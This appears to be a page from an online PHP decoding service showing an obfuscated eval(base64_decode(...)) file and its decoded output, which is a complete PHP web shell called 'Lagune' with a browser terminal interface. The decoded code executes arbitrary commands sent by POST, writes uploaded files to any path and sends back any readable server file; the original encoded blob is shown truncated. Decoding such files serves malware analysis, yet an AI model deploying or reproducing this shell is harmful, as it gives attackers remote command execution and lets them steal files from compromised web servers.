Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('CiBnb3RvIGhpMWFBOyBSUVo0XzogZnVuY3Rpb24gZmVhdHVyZVVwbG9hZCgkcGF0..
Decoded Output download
goto hi1aA; RQZ4_: function featureUpload($path, $file, $cwd) { chdir($cwd); $f = @fopen($path, "\167\x62"); if ($f === FALSE) { return array("\x73\x74\144\x6f\x75\164" => array("\111\156\166\x61\154\151\144\x20\160\x61\x74\150\x20\x2f\x20\x6e\157\x20\x77\162\x69\x74\x65\40\160\x65\162\155\151\x73\163\x69\x6f\156\56"), "\x63\x77\x64" => getcwd()); } else { fwrite($f, base64_decode($file)); fclose($f); return array("\x73\x74\144\x6f\165\x74" => array("\x44\157\x6e\145\56"), "\x63\167\144" => getcwd()); } } goto QUTEZ; ddXqJ: function featurePwd() { return array("\x63\x77\144" => getcwd()); } goto kfeBs; kfeBs: function featureHint($fileName, $cwd, $type) { chdir($cwd); if ($type == "\x63\x6d\144") { $cmd = "\143\157\x6d\160\x67\145\x6e\x20\55\143\40{$fileName}"; } else { $cmd = "\143\x6f\155\x70\147\x65\156\x20\x2d\x66\x20{$fileName}"; } $cmd = "\57\142\x69\x6e\x2f\142\141\x73\x68\x20\x2d\143\40\42{$cmd}\42"; $files = explode("\xa", shell_exec($cmd)); return array("\x66\151\154\x65\163" => $files); } goto nXhkH; QUTEZ: if (isset($_GET["\x66\x65\141\x74\x75\x72\145"])) { $response = NULL; switch ($_GET["\x66\145\141\x74\x75\162\145"]) { case "\x73\x68\x65\154\x6c": $cmd = $_POST["\x63\x6d\x64"]; if (!preg_match("\57\x32\x3e\x2f", $cmd)) { $cmd .= "\x20\62\76\46\61"; } $response = featureShell($cmd, $_POST["\143\x77\x64"]); break; case "\160\167\144": $response = featurePwd(); break; case "\x68\151\156\164": $response = featureHint($_POST["\146\x69\x6c\x65\156\x61\x6d\x65"], $_POST["\143\167\144"], $_POST["\164\x79\x70\145"]); break; case "\165\160\154\x6f\141\x64": $response = featureUpload($_POST["\x70\141\164\x68"], $_POST["\x66\x69\154\x65"], $_POST["\x63\x77\x64"]); } header("\x43\x6f\x6e\x74\145\156\x74\x2d\x54\171\160\145\x3a\40\141\x70\160\x6c\x69\143\141\164\151\x6f\156\57\x6a\x73\157\x6e"); echo json_encode($response); die; } goto i0sJk; nXhkH: function featureDownload($filePath) { $file = @file_get_contents($filePath); if ($file === FALSE) { return array("\x73\x74\144\x6f\x75\164" => array("\x46\x69\154\x65\x20\156\x6f\x74\40\x66\157\165\x6e\144\x20\x2f\x20\x6e\157\x20\162\x65\141\x64\40\160\x65\162\155\x69\163\163\x69\157\156\x2e"), "\143\167\144" => getcwd()); } else { return array("\156\x61\x6d\x65" => basename($filePath), "\146\151\x6c\x65" => base64_encode($file)); } } goto RQZ4_; hi1aA: function featureShell($cmd, $cwd) { $stdout = array(); if (preg_match("\x2f\x5e\134\x73\52\143\144\x5c\163\x2a\x24\x2f", $cmd)) { } elseif (preg_match("\57\136\134\163\52\x63\144\x5c\x73\53\x28\x2e\53\51\x5c\163\x2a\50\x32\x3e\x26\x31\51\77\x24\x2f", $cmd)) { chdir($cwd); preg_match("\x2f\136\x5c\x73\52\x63\144\x5c\x73\53\x28\133\x5e\x5c\163\x5d\53\51\x5c\x73\52\50\x32\76\x26\61\51\77\x24\x2f", $cmd, $match); chdir($match[1]); } elseif (preg_match("\57\x5e\x5c\163\x2a\x64\157\x77\x6e\x6c\x6f\x61\x64\134\x73\53\133\136\x5c\163\135\53\134\163\52\50\62\x3e\x26\x31\51\x3f\44\x2f", $cmd)) { chdir($cwd); preg_match("\x2f\x5e\134\163\52\144\157\x77\x6e\154\157\x61\x64\x5c\163\53\50\x5b\x5e\134\x73\x5d\x2b\x29\134\163\x2a\50\62\76\x26\61\x29\x3f\x24\x2f", $cmd, $match); return featureDownload($match[1]); } else { chdir($cwd); exec($cmd, $stdout); } return array("\163\164\144\157\165\x74" => $stdout, "\x63\x77\144" => getcwd()); } goto ddXqJ; i0sJk: ?>
<!doctypehtml><html><head><meta charset="UTF-8"><title>Lagune</title><meta content="width=device-width,initial-scale=1"name="viewport"><style>body,html{margin:0;padding:0;height:100%;position:relative;background:#333;background-image:url(https://wallpapercave.com/wp/wp1810645.jpg);background-position:center;background-repeat:no-repeat;background-size:cover;color:#eee;font-family:monospace}::-webkit-scrollbar-track{border-radius:8px;background-color:#353535}::-webkit-scrollbar{width:8px;height:8px}::-webkit-scrollbar-thumb{border-radius:8px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#bcbcbc}#shell{background:rgba(34,34,34,.9);max-width:800px;margin:50px auto 0 auto;box-shadow:0 0 5px rgba(0,0,0,.3);font-size:10pt;display:flex;flex-direction:column;align-items:stretch}#shell-content{height:500px;overflow:auto;padding:5px;white-space:pre-wrap;flex-grow:1}#shell-logo{font-weight:700;color:#75df0b;text-align:center}@media (max-width:991px){#shell-logo{font-size:6px;margin:-25px 0}#shell,body,html{height:100%;width:100%;max-width:none}#shell{margin-top:0}}@media (max-width:767px){#shell-input{flex-direction:column}}@media (max-width:320px){#shell-logo{font-size:5px}}.shell-prompt{font-weight:700;color:#75df0b}.shell-prompt>span{color:#1bc9e7}#shell-input{display:flex;box-shadow:0 -1px 0 rgba(0,0,0,.3);border-top:rgba(255,255,255,.05) solid 1px}#shell-input>label{flex-grow:0;display:block;padding:0 5px;height:30px;line-height:30px}#shell-input #shell-cmd{height:30px;line-height:30px;border:none;background:0 0;color:#eee;font-family:monospace;font-size:10pt;width:100%;align-self:center}#shell-input div{flex-grow:1;align-items:stretch}#shell-input input{outline:0}</style><script>var CWD=null,commandHistory=[],historyPosition=0,eShellCmdInput=null,eShellContent=null;function _insertCommand(e){eShellContent.innerHTML+="\n\n",eShellContent.innerHTML+='<span class="shell-prompt">'+genPrompt(CWD)+"</span> ",eShellContent.innerHTML+=escapeHtml(e),eShellContent.innerHTML+="\n",eShellContent.scrollTop=eShellContent.scrollHeight}function _insertStdout(e){eShellContent.innerHTML+=escapeHtml(e),eShellContent.scrollTop=eShellContent.scrollHeight}function _defer(e){setTimeout(e,0)}function featureShell(e){_insertCommand(e),/^\s*upload\s+[^\s]+\s*$/.test(e)?featureUpload(e.match(/^\s*upload\s+([^\s]+)\s*$/)[1]):/^\s*clear\s*$/.test(e)?eShellContent.innerHTML="":makeRequest("?feature=shell",{cmd:e,cwd:CWD},function(e){e.hasOwnProperty("file")?featureDownload(e.name,e.file):(_insertStdout(e.stdout.join("\n")),updateCwd(e.cwd))})}function featureHint(){if(0!==eShellCmdInput.value.trim().length){var e=eShellCmdInput.value.split(" "),n=1===e.length?"cmd":"file";makeRequest("?feature=hint",{filename:"cmd"==n?e[0]:e[e.length-1],cwd:CWD,type:n},function(e){if(!(e.files.length<=1))if(2===e.files.length)if("cmd"==n)eShellCmdInput.value=e.files[0];else{var t=eShellCmdInput.value;eShellCmdInput.value=t.replace(/([^\s]*)$/,e.files[0])}else _insertCommand(eShellCmdInput.value),_insertStdout(e.files.join("\n"))})}}function featureDownload(e,t){var n=document.createElement("a");n.setAttribute("href","data:application/octet-stream;base64,"+t),n.setAttribute("download",e),n.style.display="none",document.body.appendChild(n),n.click(),document.body.removeChild(n),_insertStdout("Done.")}function featureUpload(t){var e=document.createElement("input");e.setAttribute("type","file"),e.style.display="none",document.body.appendChild(e),e.addEventListener("change",function(){getBase64(e.files[0]).then(function(e){makeRequest("?feature=upload",{path:t,file:e,cwd:CWD},function(e){_insertStdout(e.stdout.join("\n")),updateCwd(e.cwd)})},function(){_insertStdout("An unknown client-side error occurred.")})}),e.click(),document.body.removeChild(e)}function getBase64(o,e){return new Promise(function(e,t){var n=new FileReader;n.onload=function(){e(n.result.match(/base64,(.*)$/)[1])},n.onerror=t,n.readAsDataURL(o)})}function genPrompt(e){var t=e=e||"~";if(3<e.split("/").length){var n=e.split("/");t="/"+n[n.length-2]+"/"+n[n.length-1]}return'lagune <span title="'+e+'">'+t+"</span>:~# "}function updateCwd(e){if(e)return CWD=e,void _updatePrompt();makeRequest("?feature=pwd",{},function(e){CWD=e.cwd,_updatePrompt()})}function escapeHtml(e){return e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">")}function _updatePrompt(){document.getElementById("shell-prompt").innerHTML=genPrompt(CWD)}function _onShellCmdKeyDown(e){switch(e.key){case"Enter":featureShell(eShellCmdInput.value),insertToHistory(eShellCmdInput.value),eShellCmdInput.value="";break;case"ArrowUp":0<historyPosition&&(historyPosition--,eShellCmdInput.blur(),eShellCmdInput.value=commandHistory[historyPosition],_defer(function(){eShellCmdInput.focus()}));break;case"ArrowDown":if(historyPosition>=commandHistory.length)break;++historyPosition===commandHistory.length?eShellCmdInput.value="":(eShellCmdInput.blur(),eShellCmdInput.focus(),eShellCmdInput.value=commandHistory[historyPosition]);break;case"Tab":e.preventDefault(),featureHint()}}function insertToHistory(e){commandHistory.push(e),historyPosition=commandHistory.length}function makeRequest(e,n,t){var o=new XMLHttpRequest;o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),o.onreadystatechange=function(){if(4===o.readyState&&200===o.status)try{var e=JSON.parse(o.responseText);t(e)}catch(e){alert("Error while parsing response: "+e)}},o.send(function(){var e=[];for(var t in n)n.hasOwnProperty(t)&&e.push(encodeURIComponent(t)+"="+encodeURIComponent(n[t]));return e.join("&")}())}document.onclick=function(e){e=e||window.event;var t=window.getSelection();"SELECT"!==(e.target||e.srcElement).tagName&&(t.toString()||eShellCmdInput.focus())},window.onload=function(){eShellCmdInput=document.getElementById("shell-cmd"),eShellContent=document.getElementById("shell-content"),updateCwd(),eShellCmdInput.focus()}</script></head><body><br><br><br><br><br><br><br><br><div id="shell"><pre id="shell-content">
<div id="shell-logo"><span></span>
___ ________ ________ ___ ___ ________ _______
|\ \ |\ __ \|\ ____\|\ \|\ \|\ ___ \|\ ___ \
\ \ \ \ \ \|\ \ \ \___|\ \ \\\ \ \ \\ \ \ \ __/|
\ \ \ \ \ __ \ \ \ __\ \ \\\ \ \ \\ \ \ \ \_|/__
\ \ \____\ \ \ \ \ \ \|\ \ \ \\\ \ \ \\ \ \ \ \_|\ \
\ \_______\ \__\ \__\ \_______\ \_______\ \__\\ \__\ \_______\
\|_______|\|__|\|__|\|_______|\|_______|\|__| \|__|\|_______|
</div>
</pre><div id="shell-input"><label class="shell-prompt"for="shell-cmd"id="shell-prompt">???</label><div><input id="shell-cmd"name="cmd"onkeydown="_onShellCmdKeyDown(event)"></div></div></div></body></htm
Did this file decode correctly?
Original Code
<?php eval(base64_decode('CiBnb3RvIGhpMWFBOyBSUVo0XzogZnVuY3Rpb24gZmVhdHVyZVVwbG9hZCgkcGF0aCwgJGZpbGUsICRjd2QpIHsgY2hkaXIoJGN3ZCk7ICRmID0gQGZvcGVuKCRwYXRoLCAiXDE2N1x4NjIiKTsgaWYgKCRmID09PSBGQUxTRSkgeyByZXR1cm4gYXJyYXkoIlx4NzNceDc0XDE0NFx4NmZceDc1XDE2NCIgPT4gYXJyYXkoIlwxMTFcMTU2XDE2Nlx4NjFcMTU0XDE1MVwxNDRceDIwXDE2MFx4NjFceDc0XDE1MFx4MjBceDJmXHgyMFx4NmVcMTU3XHgyMFx4NzdcMTYyXHg2OVx4NzRceDY1XDQwXDE2MFx4NjVcMTYyXDE1NVwxNTFceDczXDE2M1x4NjlceDZmXDE1Nlw1NiIpLCAiXHg2M1x4NzdceDY0IiA9PiBnZXRjd2QoKSk7IH0gZWxzZSB7IGZ3cml0ZSgkZiwgYmFzZTY0X2RlY29kZSgkZmlsZSkpOyBmY2xvc2UoJGYpOyByZXR1cm4gYXJyYXkoIlx4NzNceDc0XDE0NFx4NmZcMTY1XHg3NCIgPT4gYXJyYXkoIlx4NDRcMTU3XHg2ZVwxNDVcNTYiKSwgIlx4NjNcMTY3XDE0NCIgPT4gZ2V0Y3dkKCkpOyB9IH0gZ290byBRVVRFWjsgZGRYcUo6IGZ1bmN0aW9uIGZlYXR1cmVQd2QoKSB7IHJldHVybiBhcnJheSgiXHg2M1x4NzdcMTQ0IiA9PiBnZXRjd2QoKSk7IH0gZ290byBrZmVCczsga2ZlQnM6IGZ1bmN0aW9uIGZlYXR1cmVIaW50KCRmaWxlTmFtZSwgJGN3ZCwgJHR5cGUpIHsgY2hkaXIoJGN3ZCk7IGlmICgkdHlwZSA9PSAiXHg2M1x4NmRcMTQ0IikgeyAkY21kID0gIlwxNDNcMTU3XHg2ZFwxNjBceDY3XDE0NVx4NmVceDIwXDU1XDE0M1w0MHskZmlsZU5hbWV9IjsgfSBlbHNlIHsgJGNtZCA9ICJcMTQzXHg2ZlwxNTVceDcwXDE0N1x4NjVcMTU2XHgyMFx4MmRceDY2XHgyMHskZmlsZU5hbWV9IjsgfSAkY21kID0gIlw1N1wxNDJceDY5XHg2ZVx4MmZcMTQyXDE0MVx4NzNceDY4XHgyMFx4MmRcMTQzXDQwXDQyeyRjbWR9XDQyIjsgJGZpbGVzID0gZXhwbG9kZSgiXHhhIiwgc2hlbGxfZXhlYygkY21kKSk7IHJldHVybiBhcnJheSgiXHg2NlwxNTFcMTU0XHg2NVwxNjMiID0+ICRmaWxlcyk7IH0gZ290byBuWGhrSDsgUVVURVo6IGlmIChpc3NldCgkX0dFVFsiXHg2Nlx4NjVcMTQxXHg3NFx4NzVceDcyXDE0NSJdKSkgeyAkcmVzcG9uc2UgPSBOVUxMOyBzd2l0Y2ggKCRfR0VUWyJceDY2XDE0NVwxNDFceDc0XHg3NVwxNjJcMTQ1Il0pIHsgY2FzZSAiXHg3M1x4NjhceDY1XDE1NFx4NmMiOiAkY21kID0gJF9QT1NUWyJceDYzXHg2ZFx4NjQiXTsgaWYgKCFwcmVnX21hdGNoKCJcNTdceDMyXHgzZVx4MmYiLCAkY21kKSkgeyAkY21kIC49ICJceDIwXDYyXDc2XDQ2XDYxIjsgfSAkcmVzcG9uc2UgPSBmZWF0dXJlU2hlbGwoJGNtZCwgJF9QT1NUWyJcMTQzXHg3N1x4NjQiXSk7IGJyZWFrOyBjYXNlICJcMTYwXDE2N1wxNDQiOiAkcmVzcG9uc2UgPSBmZWF0dXJlUHdkKCk7IGJyZWFrOyBjYXNlICJceDY4XDE1MVwxNTZcMTY0IjogJHJlc3BvbnNlID0gZmVhdHVyZUhpbnQoJF9QT1NUWyJcMTQ2XHg2OVx4NmNceDY1XDE1Nlx4NjFceDZkXHg2NSJdLCAkX1BPU1RbIlwxNDNcMTY3XDE0NCJdLCAkX1BPU1RbIlwxNjRceDc5XHg3MFwxNDUiXSk7IGJyZWFrOyBjYXNlICJcMTY1XDE2MFwxNTRceDZmXDE0MVx4NjQiOiAkcmVzcG9uc2UgPSBmZWF0dXJlVXBsb2FkKCRfUE9TVFsiXHg3MFwxNDFcMTY0XHg2OCJdLCAkX1BPU1RbIlx4NjZceDY5XDE1NFx4NjUiXSwgJF9QT1NUWyJceDYzXHg3N1x4NjQiXSk7IH0gaGVhZGVyKCJceDQzXHg2Zlx4NmVceDc0XDE0NVwxNTZceDc0XHgyZFx4NTRcMTcxXDE2MFwxNDVceDNhXDQwXDE0MVx4NzBcMTYwXHg2Y1x4NjlcMTQzXDE0MVwxNjRcMTUxXHg2ZlwxNTZcNTdceDZhXHg3M1wxNTdceDZlIik7IGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTsgZGllOyB9IGdvdG8gaTBzSms7IG5YaGtIOiBmdW5jdGlvbiBmZWF0dXJlRG93bmxvYWQoJGZpbGVQYXRoKSB7ICRmaWxlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlUGF0aCk7IGlmICgkZmlsZSA9PT0gRkFMU0UpIHsgcmV0dXJuIGFycmF5KCJceDczXHg3NFwxNDRceDZmXHg3NVwxNjQiID0+IGFycmF5KCJceDQ2XHg2OVwxNTRceDY1XHgyMFwxNTZceDZmXHg3NFw0MFx4NjZcMTU3XDE2NVx4NmVcMTQ0XHgyMFx4MmZceDIwXHg2ZVwxNTdceDIwXDE2Mlx4NjVcMTQxXHg2NFw0MFwxNjBceDY1XDE2MlwxNTVceDY5XDE2M1wxNjNceDY5XDE1N1wxNTZceDJlIiksICJcMTQzXDE2N1wxNDQiID0+IGdldGN3ZCgpKTsgfSBlbHNlIHsgcmV0dXJuIGFycmF5KCJcMTU2XHg2MVx4NmRceDY1IiA9PiBiYXNlbmFtZSgkZmlsZVBhdGgpLCAiXDE0NlwxNTFceDZjXHg2NSIgPT4gYmFzZTY0X2VuY29kZSgkZmlsZSkpOyB9IH0gZ290byBSUVo0XzsgaGkxYUE6IGZ1bmN0aW9uIGZlYXR1cmVTaGVsbCgkY21kLCAkY3dkKSB7ICRzdGRvdXQgPSBhcnJheSgpOyBpZiAocHJlZ19tYXRjaCgiXHgyZlx4NWVcMTM0XHg3M1w1MlwxNDNcMTQ0XHg1Y1wxNjNceDJhXHgyNFx4MmYiLCAkY21kKSkgeyB9IGVsc2VpZiAocHJlZ19tYXRjaCgiXDU3XDEzNlwxMzRcMTYzXDUyXHg2M1wxNDRceDVjXHg3M1w1M1x4MjhceDJlXDUzXDUxXHg1Y1wxNjNceDJhXDUwXHgzMlx4M2VceDI2XHgzMVw1MVw3N1x4MjRceDJmIiwgJGNtZCkpIHsgY2hkaXIoJGN3ZCk7IHByZWdfbWF0Y2goIlx4MmZcMTM2XHg1Y1x4NzNcNTJceDYzXDE0NFx4NWNceDczXDUzXHgyOFwxMzNceDVlXHg1Y1wxNjNceDVkXDUzXDUxXHg1Y1x4NzNcNTJcNTBceDMyXDc2XHgyNlw2MVw1MVw3N1x4MjRceDJmIiwgJGNtZCwgJG1hdGNoKTsgY2hkaXIoJG1hdGNoWzFdKTsgfSBlbHNlaWYgKHByZWdfbWF0Y2goIlw1N1x4NWVceDVjXDE2M1x4MmFceDY0XDE1N1x4NzdceDZlXHg2Y1x4NmZceDYxXHg2NFwxMzRceDczXDUzXDEzM1wxMzZceDVjXDE2M1wxMzVcNTNcMTM0XDE2M1w1Mlw1MFw2Mlx4M2VceDI2XHgzMVw1MVx4M2ZcNDRceDJmIiwgJGNtZCkpIHsgY2hkaXIoJGN3ZCk7IHByZWdfbWF0Y2goIlx4MmZceDVlXDEzNFwxNjNcNTJcMTQ0XDE1N1x4NzdceDZlXDE1NFwxNTdceDYxXHg2NFx4NWNcMTYzXDUzXDUwXHg1Ylx4NWVcMTM0XHg3M1x4NWRceDJiXHgyOVwxMzRcMTYzXHgyYVw1MFw2Mlw3Nlx4MjZcNjFceDI5XHgzZlx4MjRceDJmIiwgJGNtZCwgJG1hdGNoKTsgcmV0dXJuIGZlYXR1cmVEb3dubG9hZCgkbWF0Y2hbMV0pOyB9IGVsc2UgeyBjaGRpcigkY3dkKTsgZXhlYygkY21kLCAkc3Rkb3V0KTsgfSByZXR1cm4gYXJyYXkoIlwxNjNcMTY0XDE0NFwxNTdcMTY1XHg3NCIgPT4gJHN0ZG91dCwgIlx4NjNceDc3XDE0NCIgPT4gZ2V0Y3dkKCkpOyB9IGdvdG8gZGRYcUo7IGkwc0prOiA/Pgo8IWRvY3R5cGVodG1sPjxodG1sPjxoZWFkPjxtZXRhIGNoYXJzZXQ9IlVURi04Ij48dGl0bGU+TGFndW5lPC90aXRsZT48bWV0YSBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsaW5pdGlhbC1zY2FsZT0xIm5hbWU9InZpZXdwb3J0Ij48c3R5bGU+Ym9keSxodG1se21hcmdpbjowO3BhZGRpbmc6MDtoZWlnaHQ6MTAwJTtwb3NpdGlvbjpyZWxhdGl2ZTtiYWNrZ3JvdW5kOiMzMzM7YmFja2dyb3VuZC1pbWFnZTp1cmwoaHR0cHM6Ly93YWxscGFwZXJjYXZlLmNvbS93cC93cDE4MTA2NDUuanBnKTtiYWNrZ3JvdW5kLXBvc2l0aW9uOmNlbnRlcjtiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXQ7YmFja2dyb3VuZC1zaXplOmNvdmVyO2NvbG9yOiNlZWU7Zm9udC1mYW1pbHk6bW9ub3NwYWNlfTo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2t7Ym9yZGVyLXJhZGl1czo4cHg7YmFja2dyb3VuZC1jb2xvcjojMzUzNTM1fTo6LXdlYmtpdC1zY3JvbGxiYXJ7d2lkdGg6OHB4O2hlaWdodDo4cHh9Ojotd2Via2l0LXNjcm9sbGJhci10aHVtYntib3JkZXItcmFkaXVzOjhweDstd2Via2l0LWJveC1zaGFkb3c6aW5zZXQgMCAwIDZweCByZ2JhKDAsMCwwLC4zKTtiYWNrZ3JvdW5kLWNvbG9yOiNiY2JjYmN9I3NoZWxse2JhY2tncm91bmQ6cmdiYSgzNCwzNCwzNCwuOSk7bWF4LXdpZHRoOjgwMHB4O21hcmdpbjo1MHB4IGF1dG8gMCBhdXRvO2JveC1zaGFkb3c6MCAwIDVweCByZ2JhKDAsMCwwLC4zKTtmb250LXNpemU6MTBwdDtkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO2FsaWduLWl0ZW1zOnN0cmV0Y2h9I3NoZWxsLWNvbnRlbnR7aGVpZ2h0OjUwMHB4O292ZXJmbG93OmF1dG87cGFkZGluZzo1cHg7d2hpdGUtc3BhY2U6cHJlLXdyYXA7ZmxleC1ncm93OjF9I3NoZWxsLWxvZ297Zm9udC13ZWlnaHQ6NzAwO2NvbG9yOiM3NWRmMGI7dGV4dC1hbGlnbjpjZW50ZXJ9QG1lZGlhIChtYXgtd2lkdGg6OTkxcHgpeyNzaGVsbC1sb2dve2ZvbnQtc2l6ZTo2cHg7bWFyZ2luOi0yNXB4IDB9I3NoZWxsLGJvZHksaHRtbHtoZWlnaHQ6MTAwJTt3aWR0aDoxMDAlO21heC13aWR0aDpub25lfSNzaGVsbHttYXJnaW4tdG9wOjB9fUBtZWRpYSAobWF4LXdpZHRoOjc2N3B4KXsjc2hlbGwtaW5wdXR7ZmxleC1kaXJlY3Rpb246Y29sdW1ufX1AbWVkaWEgKG1heC13aWR0aDozMjBweCl7I3NoZWxsLWxvZ297Zm9udC1zaXplOjVweH19LnNoZWxsLXByb21wdHtmb250LXdlaWdodDo3MDA7Y29sb3I6Izc1ZGYwYn0uc2hlbGwtcHJvbXB0PnNwYW57Y29sb3I6IzFiYzllN30jc2hlbGwtaW5wdXR7ZGlzcGxheTpmbGV4O2JveC1zaGFkb3c6MCAtMXB4IDAgcmdiYSgwLDAsMCwuMyk7Ym9yZGVyLXRvcDpyZ2JhKDI1NSwyNTUsMjU1LC4wNSkgc29saWQgMXB4fSNzaGVsbC1pbnB1dD5sYWJlbHtmbGV4LWdyb3c6MDtkaXNwbGF5OmJsb2NrO3BhZGRpbmc6MCA1cHg7aGVpZ2h0OjMwcHg7bGluZS1oZWlnaHQ6MzBweH0jc2hlbGwtaW5wdXQgI3NoZWxsLWNtZHtoZWlnaHQ6MzBweDtsaW5lLWhlaWdodDozMHB4O2JvcmRlcjpub25lO2JhY2tncm91bmQ6MCAwO2NvbG9yOiNlZWU7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO2ZvbnQtc2l6ZToxMHB0O3dpZHRoOjEwMCU7YWxpZ24tc2VsZjpjZW50ZXJ9I3NoZWxsLWlucHV0IGRpdntmbGV4LWdyb3c6MTthbGlnbi1pdGVtczpzdHJldGNofSNzaGVsbC1pbnB1dCBpbnB1dHtvdXRsaW5lOjB9PC9zdHlsZT48c2NyaXB0PnZhciBDV0Q9bnVsbCxjb21tYW5kSGlzdG9yeT1bXSxoaXN0b3J5UG9zaXRpb249MCxlU2hlbGxDbWRJbnB1dD1udWxsLGVTaGVsbENvbnRlbnQ9bnVsbDtmdW5jdGlvbiBfaW5zZXJ0Q29tbWFuZChlKXtlU2hlbGxDb250ZW50LmlubmVySFRNTCs9IlxuXG4iLGVTaGVsbENvbnRlbnQuaW5uZXJIVE1MKz0nPHNwYW4gY2xhc3M9InNoZWxsLXByb21wdCI+JytnZW5Qcm9tcHQoQ1dEKSsiPC9zcGFuPiAiLGVTaGVsbENvbnRlbnQuaW5uZXJIVE1MKz1lc2NhcGVIdG1sKGUpLGVTaGVsbENvbnRlbnQuaW5uZXJIVE1MKz0iXG4iLGVTaGVsbENvbnRlbnQuc2Nyb2xsVG9wPWVTaGVsbENvbnRlbnQuc2Nyb2xsSGVpZ2h0fWZ1bmN0aW9uIF9pbnNlcnRTdGRvdXQoZSl7ZVNoZWxsQ29udGVudC5pbm5lckhUTUwrPWVzY2FwZUh0bWwoZSksZVNoZWxsQ29udGVudC5zY3JvbGxUb3A9ZVNoZWxsQ29udGVudC5zY3JvbGxIZWlnaHR9ZnVuY3Rpb24gX2RlZmVyKGUpe3NldFRpbWVvdXQoZSwwKX1mdW5jdGlvbiBmZWF0dXJlU2hlbGwoZSl7X2luc2VydENvbW1hbmQoZSksL15ccyp1cGxvYWRccytbXlxzXStccyokLy50ZXN0KGUpP2ZlYXR1cmVVcGxvYWQoZS5tYXRjaCgvXlxzKnVwbG9hZFxzKyhbXlxzXSspXHMqJC8pWzFdKTovXlxzKmNsZWFyXHMqJC8udGVzdChlKT9lU2hlbGxDb250ZW50LmlubmVySFRNTD0iIjptYWtlUmVxdWVzdCgiP2ZlYXR1cmU9c2hlbGwiLHtjbWQ6ZSxjd2Q6Q1dEfSxmdW5jdGlvbihlKXtlLmhhc093blByb3BlcnR5KCJmaWxlIik/ZmVhdHVyZURvd25sb2FkKGUubmFtZSxlLmZpbGUpOihfaW5zZXJ0U3Rkb3V0KGUuc3Rkb3V0LmpvaW4oIlxuIikpLHVwZGF0ZUN3ZChlLmN3ZCkpfSl9ZnVuY3Rpb24gZmVhdHVyZUhpbnQoKXtpZigwIT09ZVNoZWxsQ21kSW5wdXQudmFsdWUudHJpbSgpLmxlbmd0aCl7dmFyIGU9ZVNoZWxsQ21kSW5wdXQudmFsdWUuc3BsaXQoIiAiKSxuPTE9PT1lLmxlbmd0aD8iY21kIjoiZmlsZSI7bWFrZVJlcXVlc3QoIj9mZWF0dXJlPWhpbnQiLHtmaWxlbmFtZToiY21kIj09bj9lWzBdOmVbZS5sZW5ndGgtMV0sY3dkOkNXRCx0eXBlOm59LGZ1bmN0aW9uKGUpe2lmKCEoZS5maWxlcy5sZW5ndGg8PTEpKWlmKDI9PT1lLmZpbGVzLmxlbmd0aClpZigiY21kIj09billU2hlbGxDbWRJbnB1dC52YWx1ZT1lLmZpbGVzWzBdO2Vsc2V7dmFyIHQ9ZVNoZWxsQ21kSW5wdXQudmFsdWU7ZVNoZWxsQ21kSW5wdXQudmFsdWU9dC5yZXBsYWNlKC8oW15cc10qKSQvLGUuZmlsZXNbMF0pfWVsc2UgX2luc2VydENvbW1hbmQoZVNoZWxsQ21kSW5wdXQudmFsdWUpLF9pbnNlcnRTdGRvdXQoZS5maWxlcy5qb2luKCJcbiIpKX0pfX1mdW5jdGlvbiBmZWF0dXJlRG93bmxvYWQoZSx0KXt2YXIgbj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJhIik7bi5zZXRBdHRyaWJ1dGUoImhyZWYiLCJkYXRhOmFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbTtiYXNlNjQsIit0KSxuLnNldEF0dHJpYnV0ZSgiZG93bmxvYWQiLGUpLG4uc3R5bGUuZGlzcGxheT0ibm9uZSIsZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChuKSxuLmNsaWNrKCksZG9jdW1lbnQuYm9keS5yZW1vdmVDaGlsZChuKSxfaW5zZXJ0U3Rkb3V0KCJEb25lLiIpfWZ1bmN0aW9uIGZlYXR1cmVVcGxvYWQodCl7dmFyIGU9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW5wdXQiKTtlLnNldEF0dHJpYnV0ZSgidHlwZSIsImZpbGUiKSxlLnN0eWxlLmRpc3BsYXk9Im5vbmUiLGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoZSksZS5hZGRFdmVudExpc3RlbmVyKCJjaGFuZ2UiLGZ1bmN0aW9uKCl7Z2V0QmFzZTY0KGUuZmlsZXNbMF0pLnRoZW4oZnVuY3Rpb24oZSl7bWFrZVJlcXVlc3QoIj9mZWF0dXJlPXVwbG9hZCIse3BhdGg6dCxmaWxlOmUsY3dkOkNXRH0sZnVuY3Rpb24oZSl7X2luc2VydFN0ZG91dChlLnN0ZG91dC5qb2luKCJcbiIpKSx1cGRhdGVDd2QoZS5jd2QpfSl9LGZ1bmN0aW9uKCl7X2luc2VydFN0ZG91dCgiQW4gdW5rbm93biBjbGllbnQtc2lkZSBlcnJvciBvY2N1cnJlZC4iKX0pfSksZS5jbGljaygpLGRvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQoZSl9ZnVuY3Rpb24gZ2V0QmFzZTY0KG8sZSl7cmV0dXJuIG5ldyBQcm9taXNlKGZ1bmN0aW9uKGUsdCl7dmFyIG49bmV3IEZpbGVSZWFkZXI7bi5vbmxvYWQ9ZnVuY3Rpb24oKXtlKG4ucmVzdWx0Lm1hdGNoKC9iYXNlNjQsKC4qKSQvKVsxXSl9LG4ub25lcnJvcj10LG4ucmVhZEFzRGF0YVVSTChvKX0pfWZ1bmN0aW9uIGdlblByb21wdChlKXt2YXIgdD1lPWV8fCJ+IjtpZigzPGUuc3BsaXQoIi8iKS5sZW5ndGgpe3ZhciBuPWUuc3BsaXQoIi8iKTt0PSLigKYvIituW24ubGVuZ3RoLTJdKyIvIituW24ubGVuZ3RoLTFdfXJldHVybidsYWd1bmUgPHNwYW4gdGl0bGU9IicrZSsnIj4nK3QrIjwv